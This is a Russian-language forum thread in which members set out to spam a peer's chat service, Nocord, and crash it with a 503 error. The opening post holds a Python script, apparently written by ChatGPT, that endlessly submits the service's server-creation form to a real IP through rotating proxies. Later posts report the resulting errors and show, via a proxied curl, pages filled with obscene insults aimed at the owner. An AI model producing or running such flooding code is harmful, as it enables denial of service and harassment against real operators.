LINUXTALKS.CO

Nocord - главный тред

 

L


0

1

В этом итт тхреде мы будем пользоваться сервисом nocord созданным участником нашего форума. По мере использования, делимся скриптами и прочими решениями.

Также я объявляю следующие направления специальной олимпиады:

  1. Спам сервиса сообщениями
  2. Доведение сервиса до ошибки 503
  3. tbd

Как первый участник я покажу свой (chatgpt) код:

import requests
import random
import time
from concurrent.futures import ThreadPoolExecutor

# Функция для чтения прокси из файла
def read_proxies(proxy_file):
    with open(proxy_file, 'r') as file:
        proxies = [line.strip() for line in file.readlines()]
    return proxies

# Функция для отправки формы
def submit_form(name, password, proxy):
    url = "http://91.192.22.20/create.php"

    # Формируем данные для отправки
    data = {
        'name': name,
        'password': password,
        'password2': password,
        'public_submit': 'Создать публичный сервер',
    }

    # Настроим прокси
    proxies = {
        "http": proxy,
        "https": proxy,
    }

    try:
        # Отправляем POST запрос
        response = requests.post(url, data=data, proxies=proxies, timeout=10)
        
        # Проверяем статус код ответа
        if response.status_code == 200:
            print(f"[INFO] Успешно отправлена форма для сервера: {name}")
        else:
            print(f"[ERROR] Ошибка при отправке формы для {name}. Статус код: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Ошибка при отправке формы для {name}. Ошибка: {e}")

# Основной цикл
def main():
    proxies = read_proxies('proxy.txt')  # Читаем список прокси из файла
    base_name = "пррррр посрал в парашу пррррр"
    password = "12345"
    iteration = 1

    # Создаем пул потоков с 10 рабочими потоками
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            # Генерируем уникальное имя сервера
            name = f"{base_name}{iteration}"
            
            # Выбираем случайный прокси из списка
            proxy = random.choice(proxies)
            
            # Выводим информацию о текущем шаге
            print(f"[INFO] Попытка отправить форму для {name} с прокси {proxy}")
            
            # Отправляем форму в отдельном потоке
            executor.submit(submit_form, name, password, proxy)
            
            # Инкрементируем итерацию
            iteration += 1

            # Увековечиваем шаг (например, задержка 1 секунда, чтобы не создавать слишком много задач одновременно)
            time.sleep(0.1)

if __name__ == '__main__':
    main()

Перемещено cocucka из tox

Ответ на: комментарий от Oberstserj

Если у тебя есть лишние 150р можешь купить этот .su домен, потом какой-нибудь прикол придумаем с ним, кек. У меня просто здесь в сраном Приднестровье оплатить что-то целая проблема, нужна международная карта, а их пополнять только в Молдове можно.

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

То, что там нельзя скидывать картинку как сообщение это следствие ретроградной культуры борды, где сидят бородатые деды и ностальгируют по временам, когда интернет был dial-up у одного человека на пол города.

Не называй нормальных людей ретроградами.

Люди которые пользуются одноплатниками по максимуму стараются уменьшить i/o, выкидывая все что можно в tmpfs

OpenWrt момент, когда /var — симлинк на /tmp.

Она у тебя хоть с кулером?

Да.

MrSugoma    
★★
Windows / Firefox (BE)
Ответ на: комментарий от Oberstserj

Мне кажется или он бросил нам вызов?))

Выдержит, давай проверим.

Пока он меня даже не выдерживает, блять я уже даже не знаю, это мы с него травим или он с нас, типо, троллинг тупостью

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от Oberstserj

Тебя @shikata_ga_nai уже раком вчера поставил

Nocord ни разу еще не упал. Просто главная страница очень долго из-за тысяч публичных серверов генерировалась.

MrSugoma    
★★
Windows / Firefox (ES)
Ответ на: комментарий от MrSugoma

Nocord ни разу еще не упал. Просто главная страница очень долго из-за тысяч публичных серверов генерировалась.

Я вот тоже распарсить не могу, это троллинг тупостью, или тупость троллит тебя?

Oberstserj    
★★★★★★
Ubuntu / Firefox (NL)
Ответ на: комментарий от MrSugoma

Ночью работал, но ты забанил те прокси видимо (или они выдохлись), я часа два назад как проснулся еще пробовал или поспамить, но на них латенси высокая, я не знаю, проблема в прокси или твой нокорд ответ отдает долго очень, я уже давно выключил.

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от Oberstserj

смотрящей голой жопой в сеть

У меня дефолтная политика INPUT — дроп пакетов, если они по Ethernet-интерфейсу, куда кабель провайдера втыкается. Это уже не голый зад.

MrSugoma    
★★
Windows / Firefox (ES)
Ответ на: комментарий от Oberstserj

Тебя вчера уже раком поставили, хороший блять)))

Тебе просто было лень дождаться, когда главная страница сгенерируется. Все сервера работали, как прежде.

MrSugoma    
★★
Windows / Firefox (ES)
Ответ на: комментарий от MrSugoma

Малыш, твой нокорд не работает, твой сервер просто 500 отдает (до этого 503 отдавал). Если у тебя он работает, то возможно у тебя кеш в браузере какой-то может, хз.

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

Ахаха, оно работает

claire@local ~ [52]> curl -x http://178.177.55.158:8080 http://91.192.22.20
<!DOCTYPE html>
<html>
  <head>
    <title>Nocord</title>
    <meta charset="utf-8">

    <link rel="stylesheet" type="text/css" href="css/index.css">
  </head>

  <body style="margin: 0px">
    <div id="servers">
      <a href="servers/!ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК9">!ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК9</a><br><a href="servers/!ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК8">!ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК8</a><br><a href="servers/!ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК6">!ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК6</a><br><a href="servers/!ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК5">!ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК5</a><br><a href="servers/ИЗВИНИТЕ">ИЗВИНИТЕ</a><br>    </div>

    <div id="controls">
      <div id="create">
        <form action="create.php" method="POST" style="position: absolute; bottom: 0%; left: 0%">
          <input type="text" placeholder="Имя сервера" required name="name"><br>
          <input type="password" placeholder="Пароль на доступ к серверу" required name="password">
          <input type="password" placeholder="Повторите пароль на доступ к серверу" required name="password2"><br>
          <input type="submit" value="Создать публичный сервер" name="public_submit">
          <input type="submit" value="Создать приватный сервер" name="private_submit">
        </form>
      </div>

      <a href="messages.html" style="position: absolute; left: 50%; bottom: 0%; transform: translateX(-50%)">Управлять личкой</a>

      <div id="register">
        <form action="register.php" method="POST" style="position: absolute; bottom: 0%; right: 0%">
         <input type="text" placeholder="Логин" required name="login">
         <input type="password" placeholder="Пароль" required name="password"><br>
         <input type="password" placeholder="Повторите пароль" required name="password2">
         <input type="submit" value="Зарегистрироваться"><br>
        </form>
      </div>
    </div>
  </body>
</html>
claire@local ~> 

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)